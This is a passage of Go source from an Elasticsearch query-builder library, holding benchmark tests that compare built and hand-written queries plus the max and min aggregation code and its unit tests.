"github.com/trustingprom/es-query-builder/benchmarks/tests/marshal" 9 | "github.com/trustingprom/es-query-builder/es" 10 | "github.com/trustingprom/es-query-builder/test/assert" 11 | ) 12 | 13 | func createMultiFilterQuery() map[string]any { 14 | query := es.NewQuery( 15 | es.Bool(). 16 | Must( 17 | es.Term("status", "active"), 18 | es.Range("price").GreaterThanOrEqual(100).LessThanOrEqual(1000), 19 | ). 20 | Filter( 21 | es.Terms("category", "Electronics", "Home"), 22 | es.Exists("stock"), 23 | ), 24 | ). 25 | Size(20). 26 | Sort(es.Sort("price").Order(Order.Desc)). 27 | SourceIncludes("name", "price"). 28 | SourceExcludes("internal_code") 29 | 30 | return query 31 | } 32 | 33 | func createMultiFilterQueryVanilla() map[string]any { 34 | return map[string]interface{}{ 35 | "_source": map[string]interface{}{ 36 | "includes": []string{"name", "price"}, 37 | "excludes": []string{"internal_code"}, 38 | }, 39 | "size": 20, 40 | "sort": []map[string]interface{}{ 41 | { 42 | "price": map[string]interface{}{ 43 | "order": "desc", 44 | }, 45 | }, 46 | }, 47 | "query": map[string]interface{}{ 48 | "bool": map[string]interface{}{ 49 | "must": []map[string]interface{}{ 50 | { 51 | "term": map[string]interface{}{ 52 | "status": map[string]interface{}{ 53 | "value": "active", 54 | }, 55 | }, 56 | }, 57 | { 58 | "range": map[string]interface{}{ 59 | "price": map[string]interface{}{ 60 | "gte": 100, 61 | "lte": 1000, 62 | }, 63 | }, 64 | }, 65 | }, 66 | "filter": []map[string]interface{}{ 67 | { 68 | "terms": map[string]interface{}{ 69 | "category": []string{"Electronics", "Home"}, 70 | }, 71 | }, 72 | { 73 | "exists": map[string]interface{}{ 74 | "field": "stock", 75 | }, 76 | }, 77 | }, 78 | }, 79 | }, 80 | } 81 | } 82 | 83 | func Benchmark_MultiFilter_Builder(b *testing.B) { 84 | createMultiFilterQuery() 85 | b.ResetTimer() 86 | for i := 0; i < b.N; i++ { 87 | createMultiFilterQuery() 88 | } 89 | } 90 | 91 | func Benchmark_MultiFilter_Vanilla(b *testing.B) { 92 | createMultiFilterQueryVanilla() 93 | b.ResetTimer() 94 | for i := 0; i < b.N; i++ { 95 | createMultiFilterQueryVanilla() 96 | } 97 | } 98 | 99 | func Test_MultiFilter_Queries_are_equal(t *testing.T) { 100 | build := marshal.String(t, createMultiFilterQuery()) 101 | vanilla := marshal.String(t, createMultiFilterQueryVanilla()) 102 | assert.Equal(t, vanilla, build) 103 | } 104 | -------------------------------------------------------------------------------- /benchmarks/tests/nested_benchmark_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/benchmarks/tests/marshal" 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func createNestedQuery() map[string]any { 12 | query := es.NewQuery( 13 | es.Nested("driver", 14 | es.Nested("driver.vehicle", 15 | es.Bool(). 16 | Must( 17 | es.Term("driver.vehicle.make", "Powell Motors"), 18 | es.Term("driver.vehicle.model", "Canyonero"), 19 | ), 20 | ), 21 | ), 22 | ) 23 | 24 | return query 25 | } 26 | 27 | func createNestedQueryVanilla() map[string]any { 28 | query := map[string]interface{}{ 29 | "query": map[string]interface{}{ 30 | "nested": map[string]interface{}{ 31 | "path": "driver", 32 | "query": map[string]interface{}{ 33 | "nested": map[string]interface{}{ 34 | "path": "driver.vehicle", 35 | "query": map[string]interface{}{ 36 | "bool": map[string]interface{}{ 37 | "must": []map[string]interface{}{ 38 | { 39 | "term": map[string]interface{}{ 40 | "driver.vehicle.make": map[string]interface{}{ 41 | "value": "Powell Motors", 42 | }, 43 | }, 44 | }, 45 | { 46 | "term": map[string]interface{}{ 47 | "driver.vehicle.model": map[string]interface{}{ 48 | "value": "Canyonero", 49 | }, 50 | }, 51 | }, 52 | }, 53 | }, 54 | }, 55 | }, 56 | }, 57 | }, 58 | }, 59 | } 60 | return query 61 | } 62 | 63 | func Benchmark_Nested_Builder(b *testing.B) { 64 | createNestedQuery() 65 | b.ResetTimer() 66 | for i := 0; i < b.N; i++ { 67 | createNestedQuery() 68 | } 69 | } 70 | 71 | func Benchmark_Nested_Vanilla(b *testing.B) { 72 | createNestedQueryVanilla() 73 | b.ResetTimer() 74 | for i := 0; i < b.N; i++ { 75 | createNestedQueryVanilla() 76 | } 77 | } 78 | 79 | func Test_Nested_Queries_are_equal(t *testing.T) { 80 | build := marshal.String(t, createNestedQuery()) 81 | vanilla := marshal.String(t, createNestedQueryVanilla()) 82 | assert.Equal(t, vanilla, build) 83 | } 84 | -------------------------------------------------------------------------------- /benchmarks/tests/simple_benchmark_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/benchmarks/tests/marshal" 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func createSimpleQuery() map[string]any { 12 | query := es.NewQuery( 13 | es.Bool(). 14 | Filter( 15 | es.Term("id", 123456), 16 | ), 17 | ) 18 | return query 19 | } 20 | 21 | func createSimpleQueryVanilla() map[string]any { 22 | query := map[string]interface{}{ 23 | "query": map[string]interface{}{ 24 | "bool": map[string]interface{}{ 25 | "filter": []map[string]interface{}{ 26 | { 27 | "term": map[string]interface{}{ 28 | "id": map[string]interface{}{ 29 | "value": 123456, 30 | }, 31 | }, 32 | }, 33 | }, 34 | }, 35 | }, 36 | } 37 | return query 38 | } 39 | 40 | func Benchmark_Simple_Builder(b *testing.B) { 41 | createSimpleQuery() 42 | b.ResetTimer() 43 | for i := 0; i < b.N; i++ { 44 | createSimpleQuery() 45 | } 46 | } 47 | 48 | func Benchmark_Simple_Vanilla(b *testing.B) { 49 | createSimpleQueryVanilla() 50 | b.ResetTimer() 51 | for i := 0; i < b.N; i++ { 52 | createSimpleQueryVanilla() 53 | } 54 | } 55 | 56 | func Test_Simple_Queries_are_equal(t *testing.T) { 57 | build := marshal.String(t, createSimpleQuery()) 58 | vanilla := marshal.String(t, createSimpleQueryVanilla()) 59 | assert.Equal(t, vanilla, build) 60 | } 61 | -------------------------------------------------------------------------------- /benchmarks/tests/ty_example_benchmark_test.go: -------------------------------------------------------------------------------- 1 | package tests_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/trustingprom/es-query-builder/benchmarks/tests/marshal" 7 | "github.com/trustingprom/es-query-builder/es" 8 | "github.com/trustingprom/es-query-builder/test/assert" 9 | ) 10 | 11 | func createTyExampleQuery(brandIds []int64, storefrontIds []string) map[string]any { 12 | query := es.NewQuery( 13 | es.Bool(). 14 | Filter( 15 | es.Term("type", "LegalRule"), 16 | es.TermsArray("brandId", brandIds), 17 | es.TermsArray("allowedStorefronts.storefrontId", storefrontIds), 18 | ), 19 | ) 20 | query.Size(1) 21 | query.SourceFalse() 22 | 23 | return query 24 | } 25 | 26 | func createTyExampleQueryVanilla(brandIds []int64, storefrontIds []string) map[string]any { 27 | query := map[string]interface{}{ 28 | "size": 1, 29 | "query": map[string]interface{}{ 30 | "bool": map[string]interface{}{ 31 | "filter": []interface{}{ 32 | map[string]interface{}{ 33 | "term": map[string]interface{}{ 34 | "type": map[string]interface{}{ 35 | "value": "LegalRule", 36 | }, 37 | }, 38 | }, 39 | map[string]interface{}{ 40 | "terms": map[string]interface{}{ 41 | "brandId": brandIds, 42 | }, 43 | }, 44 | map[string]interface{}{ 45 | "terms": map[string]interface{}{ 46 | "allowedStorefronts.storefrontId": storefrontIds, 47 | }, 48 | }, 49 | }, 50 | }, 51 | }, 52 | "_source": false, 53 | } 54 | return query 55 | } 56 | 57 | func Benchmark_Ty_Example_Builder(b *testing.B) { 58 | brandIds := []int64{11, 22, 33, 44} 59 | storefrontIds := []string{"35", "36", "43", "48", "49", "50"} 60 | createTyExampleQuery(brandIds, storefrontIds) 61 | b.ResetTimer() 62 | for i := 0; i < b.N; i++ { 63 | createTyExampleQuery(brandIds, storefrontIds) 64 | } 65 | } 66 | 67 | func Benchmark_Ty_Example_Vanilla(b *testing.B) { 68 | brandIds := []int64{11, 22, 33, 44} 69 | storefrontIds := []string{"35", "36", "43", "48", "49", "50"} 70 | createTyExampleQueryVanilla(brandIds, storefrontIds) 71 | b.ResetTimer() 72 | for i := 0; i < b.N; i++ { 73 | createTyExampleQueryVanilla(brandIds, storefrontIds) 74 | } 75 | } 76 | 77 | func Test_Ty_Example_Queries_are_equal(t *testing.T) { 78 | brandIds := []int64{11, 22, 33, 44} 79 | storefrontIds := []string{"35", "36", "43", "48", "49", "50"} 80 | build := marshal.String(t, createTyExampleQuery(brandIds, storefrontIds)) 81 | vanilla := marshal.String(t, createTyExampleQueryVanilla(brandIds, storefrontIds)) 82 | assert.Equal(t, vanilla, build) 83 | } 84 | -------------------------------------------------------------------------------- /es/aggregation_avg_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ScriptLanguage "github.com/trustingprom/es-query-builder/es/enums/script-language" 7 | 8 | "github.com/trustingprom/es-query-builder/es" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | func Test_AvgAgg_should_exist_on_es_package(t *testing.T) { 13 | t.Parallel() 14 | // Given When Then 15 | assert.NotNil(t, es.AvgAgg) 16 | } 17 | 18 | func Test_AvgAgg_should_return_type_of_avgAggType(t *testing.T) { 19 | t.Parallel() 20 | // Given 21 | aggsQuery := es.AvgAgg("price") 22 | 23 | // When Then 24 | assert.NotNil(t, aggsQuery) 25 | assert.IsTypeString(t, "es.avgAggType", aggsQuery) 26 | assert.MarshalWithoutError(t, aggsQuery) 27 | } 28 | 29 | func Test_AvgAgg_should_create_json_with_terms_field_inside(t *testing.T) { 30 | t.Parallel() 31 | // Given 32 | a := es.AvgAgg("price") 33 | 34 | // When Then 35 | assert.NotNil(t, a) 36 | bodyJSON := assert.MarshalWithoutError(t, a) 37 | assert.Equal(t, "{\"avg\":{\"field\":\"price\"}}", bodyJSON) 38 | } 39 | 40 | func Test_AvgAgg_should_have_Missing_method(t *testing.T) { 41 | t.Parallel() 42 | // Given 43 | a := es.AvgAgg("price") 44 | 45 | // When Then 46 | assert.NotNil(t, a.Missing) 47 | } 48 | 49 | func Test_Missing_should_add_missing_field_into_AvgAgg(t *testing.T) { 50 | t.Parallel() 51 | // Given 52 | a := es.AvgAgg("price").Missing("missing_name") 53 | 54 | // When Then 55 | assert.NotNil(t, a) 56 | bodyJSON := assert.MarshalWithoutError(t, a) 57 | assert.Equal(t, "{\"avg\":{\"field\":\"price\",\"missing\":\"missing_name\"}}", bodyJSON) 58 | } 59 | 60 | func Test_AvgAgg_should_have_Script_method(t *testing.T) { 61 | t.Parallel() 62 | // Given 63 | a := es.AvgAgg("price") 64 | 65 | // When Then 66 | assert.NotNil(t, a.Script) 67 | } 68 | 69 | func Test_Script_should_add_script_field_into_AvgAgg(t *testing.T) { 70 | t.Parallel() 71 | // Given 72 | a := es.AvgAgg("price").Script(es.ScriptID("id_12345", ScriptLanguage.Painless)) 73 | 74 | // When Then 75 | assert.NotNil(t, a) 76 | bodyJSON := assert.MarshalWithoutError(t, a) 77 | assert.Equal(t, "{\"avg\":{\"field\":\"price\",\"script\":{\"id\":\"id_12345\",\"lang\":\"painless\"}}}", bodyJSON) 78 | } 79 | 80 | func Test_AvgAgg_should_have_Format_method(t *testing.T) { 81 | t.Parallel() 82 | // Given 83 | a := es.AvgAgg("price") 84 | 85 | // When Then 86 | assert.NotNil(t, a.Format) 87 | } 88 | 89 | func Test_Format_should_add_format_field_into_AvgAgg(t *testing.T) { 90 | t.Parallel() 91 | // Given 92 | a := es.AvgAgg("price").Format("#.00") 93 | 94 | // When Then 95 | assert.NotNil(t, a) 96 | bodyJSON := assert.MarshalWithoutError(t, a) 97 | assert.Equal(t, "{\"avg\":{\"field\":\"price\",\"format\":\"#.00\"}}", bodyJSON) 98 | } 99 | 100 | func Test_AvgAgg_should_have_Meta_method(t *testing.T) { 101 | t.Parallel() 102 | // Given 103 | a := es.AvgAgg("price") 104 | 105 | // When Then 106 | assert.NotNil(t, a.Meta) 107 | } 108 | 109 | func Test_Meta_should_add_meta_field_into_AvgAgg(t *testing.T) { 110 | t.Parallel() 111 | // Given 112 | a := es.AvgAgg("price"). 113 | Meta("k1", "v1"). 114 | Meta("k2", "v2") 115 | 116 | // When Then 117 | assert.NotNil(t, a) 118 | bodyJSON := assert.MarshalWithoutError(t, a) 119 | assert.Equal(t, "{\"avg\":{\"field\":\"price\",\"meta\":{\"k1\":\"v1\",\"k2\":\"v2\"}}}", bodyJSON) 120 | } 121 | 122 | func Test_AvgAgg_should_have_Aggs_method(t *testing.T) { 123 | t.Parallel() 124 | // Given 125 | a := es.AvgAgg("price") 126 | 127 | // When Then 128 | assert.NotNil(t, a.Aggs) 129 | } 130 | 131 | func Test_Aggs_should_add_aggs_field_into_AvgAgg_when_not_empty(t *testing.T) { 132 | t.Parallel() 133 | // Given 134 | a := es.AvgAgg("price").Aggs(es.Agg("avg_stock", es.AvgAgg("stock"))) 135 | 136 | // When Then 137 | assert.NotNil(t, a) 138 | bodyJSON := assert.MarshalWithoutError(t, a) 139 | assert.Equal(t, "{\"aggs\":{\"avg_stock\":{\"avg\":{\"field\":\"stock\"}}},\"avg\":{\"field\":\"price\"}}", bodyJSON) 140 | } 141 | 142 | func Test_Aggs_should_not_add_aggs_field_into_AvgAgg_when_it_is_empty(t *testing.T) { 143 | t.Parallel() 144 | // Given 145 | a := es.AvgAgg("price").Aggs(nil) 146 | 147 | // When Then 148 | assert.NotNil(t, a) 149 | bodyJSON := assert.MarshalWithoutError(t, a) 150 | assert.Equal(t, "{\"avg\":{\"field\":\"price\"}}", bodyJSON) 151 | } 152 | -------------------------------------------------------------------------------- /es/aggregation_max.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type maxAggType Object 4 | 5 | // MaxAgg creates a max aggregation for the given field. 6 | // 7 | // The max aggregation calculates the maximum value of a specified numeric field. 8 | // 9 | // Example usage: 10 | // 11 | // agg := es.MaxAgg("price") 12 | // // agg now contains an es.maxAggType object that calculates the maximum value for the "price" field. 13 | // 14 | // Parameters: 15 | // - field: The field for which the maximum value should be computed. 16 | // 17 | // Returns: 18 | // 19 | // An es.maxAggType object representing the max aggregation. 20 | func MaxAgg(field string) maxAggType { 21 | return maxAggType{ 22 | "max": Object{ 23 | "field": field, 24 | }, 25 | } 26 | } 27 | 28 | // Missing sets the "missing" value for the max aggregation. 29 | // 30 | // This value is used when documents do not have a value for the specified field. It allows missing values 31 | // to be treated as a specific number instead of being ignored. 32 | // 33 | // Example usage: 34 | // 35 | // agg := es.MaxAgg("price").Missing(0) 36 | // // agg now contains an es.maxAggType object that treats missing values as 0. 37 | // 38 | // Parameters: 39 | // - missing: The value to use when a document lacks a field value. 40 | // 41 | // Returns: 42 | // 43 | // An es.maxAggType object with the "missing" field set. 44 | func (max maxAggType) Missing(missing any) maxAggType { 45 | return max.putInTheField("missing", missing) 46 | } 47 | 48 | // Script sets a script for the max aggregation instead of using a field value. 49 | // 50 | // This allows the aggregation to be computed based on a script, rather than directly referencing 51 | // a field in the document. 52 | // 53 | // Example usage: 54 | // 55 | // agg := es.MaxAgg("price").Script(es.ScriptSource("doc['price'].value * 1.2", ScriptLanguage.Painless)) 56 | // // agg now contains an es.maxAggType object that applies a script for computing the values. 57 | // 58 | // Parameters: 59 | // - script: A script to calculate values dynamically. 60 | // 61 | // Returns: 62 | // 63 | // An es.maxAggType object with the "script" field set. 64 | func (max maxAggType) Script(script scriptType) maxAggType { 65 | return max.putInTheField("script", script) 66 | } 67 | 68 | // Format sets the output format for the max aggregation. 69 | // 70 | // This is used to specify how the results should be formatted when returned. 71 | // 72 | // Example usage: 73 | // 74 | // agg := es.MaxAgg("price").Format("000.0") 75 | // // agg now contains an es.maxAggType object with a defined number format. 76 | // 77 | // Parameters: 78 | // - format: A string specifying the output format. 79 | // 80 | // Returns: 81 | // 82 | // An es.maxAggType object with the "format" field set. 83 | func (max maxAggType) Format(format string) maxAggType { 84 | return max.putInTheField("format", format) 85 | } 86 | 87 | // Meta sets a custom metadata field for the max aggregation. 88 | // 89 | // This allows additional information to be attached to the aggregation result for tracking or processing. 90 | // 91 | // Example usage: 92 | // 93 | // agg := es.MaxAgg("price").Meta("source", "sales_data") 94 | // // agg now contains an es.maxAggType object with metadata indicating the source is "sales_data". 95 | // 96 | // Parameters: 97 | // - key: The metadata key. 98 | // - value: The metadata value. 99 | // 100 | // Returns: 101 | // 102 | // An es.maxAggType object with the "meta" field set. 103 | func (max maxAggType) Meta(key string, value any) maxAggType { 104 | meta, exists := getObjectFromAggs(max, "max", "meta") 105 | if !exists { 106 | meta = Object{} 107 | } 108 | meta[key] = value 109 | return max.putInTheField("meta", meta) 110 | } 111 | 112 | // Aggs adds sub-aggregations to the max aggregation. 113 | // 114 | // This allows performing additional calculations on top of the max aggregation. 115 | // 116 | // Example usage: 117 | // 118 | // agg := es.MaxAgg("price").Aggs(es.Agg("price_distribution", es.HistogramAgg("price", 10))) 119 | // // agg now contains an es.maxAggType object with a histogram sub-aggregation. 120 | // 121 | // Parameters: 122 | // - aggs: A variadic list of aggsType representing the sub-aggregations. 123 | // 124 | // Returns: 125 | // 126 | // An es.maxAggType object with the specified sub-aggregations added. 127 | func (max maxAggType) Aggs(aggs ...aggsType) maxAggType { 128 | if len(aggs) == 1 && aggs[0] == nil { 129 | return max 130 | } 131 | max["aggs"] = reduceAggs(aggs...) 132 | return max 133 | } 134 | 135 | func (max maxAggType) putInTheField(key string, value any) maxAggType { 136 | if maxAgg, ok := max["max"].(Object); ok { 137 | maxAgg[key] = value 138 | } 139 | return max 140 | } 141 | -------------------------------------------------------------------------------- /es/aggregation_max_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ScriptLanguage "github.com/trustingprom/es-query-builder/es/enums/script-language" 7 | 8 | "github.com/trustingprom/es-query-builder/es" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | func Test_MaxAgg_should_exist_on_es_package(t *testing.T) { 13 | t.Parallel() 14 | // Given When Then 15 | assert.NotNil(t, es.MaxAgg) 16 | } 17 | 18 | func Test_MaxAgg_should_return_type_of_maxAggType(t *testing.T) { 19 | t.Parallel() 20 | // Given 21 | aggsQuery := es.MaxAgg("price") 22 | 23 | // When Then 24 | assert.NotNil(t, aggsQuery) 25 | assert.IsTypeString(t, "es.maxAggType", aggsQuery) 26 | assert.MarshalWithoutError(t, aggsQuery) 27 | } 28 | 29 | func Test_MaxAgg_should_create_json_with_terms_field_inside(t *testing.T) { 30 | t.Parallel() 31 | // Given 32 | a := es.MaxAgg("price") 33 | 34 | // When Then 35 | assert.NotNil(t, a) 36 | bodyJSON := assert.MarshalWithoutError(t, a) 37 | assert.Equal(t, "{\"max\":{\"field\":\"price\"}}", bodyJSON) 38 | } 39 | 40 | func Test_MaxAgg_should_have_Missing_method(t *testing.T) { 41 | t.Parallel() 42 | // Given 43 | a := es.MaxAgg("price") 44 | 45 | // When Then 46 | assert.NotNil(t, a.Missing) 47 | } 48 | 49 | func Test_Missing_should_add_missing_field_into_MaxAgg(t *testing.T) { 50 | t.Parallel() 51 | // Given 52 | a := es.MaxAgg("price").Missing("missing_name") 53 | 54 | // When Then 55 | assert.NotNil(t, a) 56 | bodyJSON := assert.MarshalWithoutError(t, a) 57 | assert.Equal(t, "{\"max\":{\"field\":\"price\",\"missing\":\"missing_name\"}}", bodyJSON) 58 | } 59 | 60 | func Test_MaxAgg_should_have_Script_method(t *testing.T) { 61 | t.Parallel() 62 | // Given 63 | a := es.MaxAgg("price") 64 | 65 | // When Then 66 | assert.NotNil(t, a.Script) 67 | } 68 | 69 | func Test_Script_should_add_script_field_into_MaxAgg(t *testing.T) { 70 | t.Parallel() 71 | // Given 72 | a := es.MaxAgg("price").Script(es.ScriptID("id_12345", ScriptLanguage.Painless)) 73 | 74 | // When Then 75 | assert.NotNil(t, a) 76 | bodyJSON := assert.MarshalWithoutError(t, a) 77 | assert.Equal(t, "{\"max\":{\"field\":\"price\",\"script\":{\"id\":\"id_12345\",\"lang\":\"painless\"}}}", bodyJSON) 78 | } 79 | 80 | func Test_MaxAgg_should_have_Format_method(t *testing.T) { 81 | t.Parallel() 82 | // Given 83 | a := es.MaxAgg("price") 84 | 85 | // When Then 86 | assert.NotNil(t, a.Format) 87 | } 88 | 89 | func Test_Format_should_add_format_field_into_MaxAgg(t *testing.T) { 90 | t.Parallel() 91 | // Given 92 | a := es.MaxAgg("price").Format("#.00") 93 | 94 | // When Then 95 | assert.NotNil(t, a) 96 | bodyJSON := assert.MarshalWithoutError(t, a) 97 | assert.Equal(t, "{\"max\":{\"field\":\"price\",\"format\":\"#.00\"}}", bodyJSON) 98 | } 99 | 100 | func Test_MaxAgg_should_have_Meta_method(t *testing.T) { 101 | t.Parallel() 102 | // Given 103 | a := es.MaxAgg("price") 104 | 105 | // When Then 106 | assert.NotNil(t, a.Meta) 107 | } 108 | 109 | func Test_Meta_should_add_meta_field_into_MaxAgg(t *testing.T) { 110 | t.Parallel() 111 | // Given 112 | a := es.MaxAgg("price"). 113 | Meta("k1", "v1"). 114 | Meta("k2", "v2") 115 | 116 | // When Then 117 | assert.NotNil(t, a) 118 | bodyJSON := assert.MarshalWithoutError(t, a) 119 | assert.Equal(t, "{\"max\":{\"field\":\"price\",\"meta\":{\"k1\":\"v1\",\"k2\":\"v2\"}}}", bodyJSON) 120 | } 121 | 122 | func Test_MaxAgg_should_have_Aggs_method(t *testing.T) { 123 | t.Parallel() 124 | // Given 125 | a := es.MaxAgg("price") 126 | 127 | // When Then 128 | assert.NotNil(t, a.Aggs) 129 | } 130 | 131 | func Test_Aggs_should_add_aggs_field_into_MaxAgg_when_not_empty(t *testing.T) { 132 | t.Parallel() 133 | // Given 134 | a := es.MaxAgg("price").Aggs(es.Agg("max_stock", es.MaxAgg("stock"))) 135 | 136 | // When Then 137 | assert.NotNil(t, a) 138 | bodyJSON := assert.MarshalWithoutError(t, a) 139 | assert.Equal(t, "{\"aggs\":{\"max_stock\":{\"max\":{\"field\":\"stock\"}}},\"max\":{\"field\":\"price\"}}", bodyJSON) 140 | } 141 | 142 | func Test_Aggs_should_not_add_aggs_field_into_MaxAgg_when_it_is_empty(t *testing.T) { 143 | t.Parallel() 144 | // Given 145 | a := es.MaxAgg("price").Aggs(nil) 146 | 147 | // When Then 148 | assert.NotNil(t, a) 149 | bodyJSON := assert.MarshalWithoutError(t, a) 150 | assert.Equal(t, "{\"max\":{\"field\":\"price\"}}", bodyJSON) 151 | } 152 | -------------------------------------------------------------------------------- /es/aggregation_min.go: -------------------------------------------------------------------------------- 1 | package es 2 | 3 | type minAggType Object 4 | 5 | // MinAgg creates a min aggregation for the given field. 6 | // 7 | // The min aggregation calculates the minimum value of a specified numeric field. 8 | // 9 | // Example usage: 10 | // 11 | // agg := es.MinAgg("price") 12 | // // agg now contains an es.minAggType object that calculates the minimum value for the "price" field. 13 | // 14 | // Parameters: 15 | // - field: The field for which the minimum value should be computed. 16 | // 17 | // Returns: 18 | // 19 | // An es.minAggType object representing the min aggregation. 20 | func MinAgg(field string) minAggType { 21 | return minAggType{ 22 | "min": Object{ 23 | "field": field, 24 | }, 25 | } 26 | } 27 | 28 | // Missing sets the "missing" value for the min aggregation. 29 | // 30 | // This value is used when documents do not have a value for the specified field. It allows missing values 31 | // to be treated as a specific number instead of being ignored. 32 | // 33 | // Example usage: 34 | // 35 | // agg := es.MinAgg("price").Missing(0) 36 | // // agg now contains an es.minAggType object that treats missing values as 0. 37 | // 38 | // Parameters: 39 | // - missing: The value to use when a document lacks a field value. 40 | // 41 | // Returns: 42 | // 43 | // An es.minAggType object with the "missing" field set. 44 | func (min minAggType) Missing(missing any) minAggType { 45 | return min.putInTheField("missing", missing) 46 | } 47 | 48 | // Script sets a script for the min aggregation instead of using a field value. 49 | // 50 | // This allows the aggregation to be computed based on a script, rather than directly referencing 51 | // a field in the document. 52 | // 53 | // Example usage: 54 | // 55 | // agg := es.MinAgg("price").Script(es.ScriptSource("doc['price'].value * 1.2", ScriptLanguage.Painless)) 56 | // // agg now contains an es.minAggType object that applies a script for computing the values. 57 | // 58 | // Parameters: 59 | // - script: A script to calculate values dynamically. 60 | // 61 | // Returns: 62 | // 63 | // An es.minAggType object with the "script" field set. 64 | func (min minAggType) Script(script scriptType) minAggType { 65 | return min.putInTheField("script", script) 66 | } 67 | 68 | // Format sets the output format for the min aggregation. 69 | // 70 | // This is used to specify how the results should be formatted when returned. 71 | // 72 | // Example usage: 73 | // 74 | // agg := es.MinAgg("price").Format("000.0") 75 | // // agg now contains an es.minAggType object with a defined number format. 76 | // 77 | // Parameters: 78 | // - format: A string specifying the output format. 79 | // 80 | // Returns: 81 | // 82 | // An es.minAggType object with the "format" field set. 83 | func (min minAggType) Format(format string) minAggType { 84 | return min.putInTheField("format", format) 85 | } 86 | 87 | // Meta sets a custom metadata field for the min aggregation. 88 | // 89 | // This allows additional information to be attached to the aggregation result for tracking or processing. 90 | // 91 | // Example usage: 92 | // 93 | // agg := es.MinAgg("price").Meta("source", "sales_data") 94 | // // agg now contains an es.minAggType object with metadata indicating the source is "sales_data". 95 | // 96 | // Parameters: 97 | // - key: The metadata key. 98 | // - value: The metadata value. 99 | // 100 | // Returns: 101 | // 102 | // An es.minAggType object with the "meta" field set. 103 | func (min minAggType) Meta(key string, value any) minAggType { 104 | meta, exists := getObjectFromAggs(min, "min", "meta") 105 | if !exists { 106 | meta = Object{} 107 | } 108 | meta[key] = value 109 | return min.putInTheField("meta", meta) 110 | } 111 | 112 | // Aggs adds sub-aggregations to the min aggregation. 113 | // 114 | // This allows performing additional calculations on top of the min aggregation. 115 | // 116 | // Example usage: 117 | // 118 | // agg := es.MinAgg("price").Aggs(es.Agg("price_distribution", es.HistogramAgg("price", 10))) 119 | // // agg now contains an es.minAggType object with a histogram sub-aggregation. 120 | // 121 | // Parameters: 122 | // - aggs: A variadic list of aggsType representing the sub-aggregations. 123 | // 124 | // Returns: 125 | // 126 | // An es.minAggType object with the specified sub-aggregations added. 127 | func (min minAggType) Aggs(aggs ...aggsType) minAggType { 128 | if len(aggs) == 1 && aggs[0] == nil { 129 | return min 130 | } 131 | min["aggs"] = reduceAggs(aggs...) 132 | return min 133 | } 134 | 135 | func (min minAggType) putInTheField(key string, value any) minAggType { 136 | if minAgg, ok := min["min"].(Object); ok { 137 | minAgg[key] = value 138 | } 139 | return min 140 | } 141 | -------------------------------------------------------------------------------- /es/aggregation_min_test.go: -------------------------------------------------------------------------------- 1 | package es_test 2 | 3 | import ( 4 | "testing" 5 | 6 | ScriptLanguage "github.com/trustingprom/es-query-builder/es/enums/script-language" 7 | 8 | "github.com/trustingprom/es-query-builder/es" 9 | "github.com/trustingprom/es-query-builder/test/assert" 10 | ) 11 | 12 | func Test_MinAgg_should_exist_on_es_package(t *testing.T) { 13 | t.Parallel() 14 | // Given When Then 15 | assert.NotNil(t, es.MinAgg) 16 | } 17 | 18 | func Test_MinAgg_should_return_type_of_minAggType(t *testing.T) { 19 | t.Parallel() 20 | // Given 21 | aggsQuery := es.MinAgg("price") 22 | 23 | // When Then 24 | assert.NotNil(t, aggsQuery) 25 | assert.IsTypeString(t, "es.minAggType", aggsQuery) 26 | assert.MarshalWithoutError(t, aggsQuery) 27 | } 28 | 29 | func Test_MinAgg_should_create_json_with_terms_field_inside(t *testing.T) { 30 | t.Parallel() 31 | // Given 32 | a := es.MinAgg("price") 33 | 34 | // When Then 35 | assert.NotNil(t, a) 36 | bodyJSON := assert.MarshalWithoutError(t, a) 37 | assert.Equal(t, "{\"min\":{\"field\":\"price\"}}", bodyJSON) 38 | } 39 | 40 | func Test_MinAgg_should_have_Missing_method(t *testing.T) { 41 | t.Parallel() 42 | // Given 43 | a := es.MinAgg("price") 44 | 45 | // When Then 46 | assert.NotNil(t, a.Missing) 47 | } 48 | 49 | func Test_Missing_should_add_missing_field_into_MinAgg(t *testing.T) { 50 | t.Parallel() 51 | // Given 52 | a := es.MinAgg("price").Missing("missing_name") 53 | 54 | // When Then 55 | assert.NotNil(t, a) 56 | bodyJSON := assert.MarshalWithoutError(t, a) 57 | assert.Equal(t, "{\"min\":{\"field\":\"price\",\"missing\":\"missing_name\"}}", bodyJSON) 58 | } 59 | 60 | func Test_MinAgg_should_have_Script_method(t *testing.T) { 61 | t.Parallel() 62 | // Given 63 | a := es.MinAgg("price") 64 | 65 | // When Then 66 | assert.NotNil(t, a.Script) 67 | } 68 | 69 | func Test_Script_should_add_script_field_into_MinAgg(t *testing.T) { 70 | t.Parallel() 71 | // Given 72 | a := es.MinAgg("price").Script(es.ScriptID("id_12345", ScriptLanguage.Painless)) 73 | 74 | // When Then 75 | assert.NotNil(t, a) 76 | bodyJSON := assert.MarshalWithoutError(t, a) 77 | assert.Equal(t, "{\"min\":{\"field\":\"price\",\"script\":{\"id\":\"id_12345\",\"lang\":\"painless\"}}}", bodyJSON) 78 | } 79 | 80 | func Test_MinAgg_should_have_Format_method(t *testing.T) { 81 | t.Parallel() 82 | // Given 83 | a := es.MinAgg("price") 84 | 85 | // When Then 86 | assert.NotNil(t, a.Format) 87 | } 88 | 89 | func Test_Format_should_add_format_field_into_MinAgg(t *testing.T) { 90 | t.Parallel() 91 | // Given 92 | a := es.MinAgg("price").Format("#.00") 93 | 94 | // When Then 95 | assert.NotNil(t, a) 96 | bodyJSON := assert.MarshalWithoutError(t, a) 97 | assert.Equal(t, "{\"min\":{\"field\":\"price\",\"format\":\"#.00\"}}", 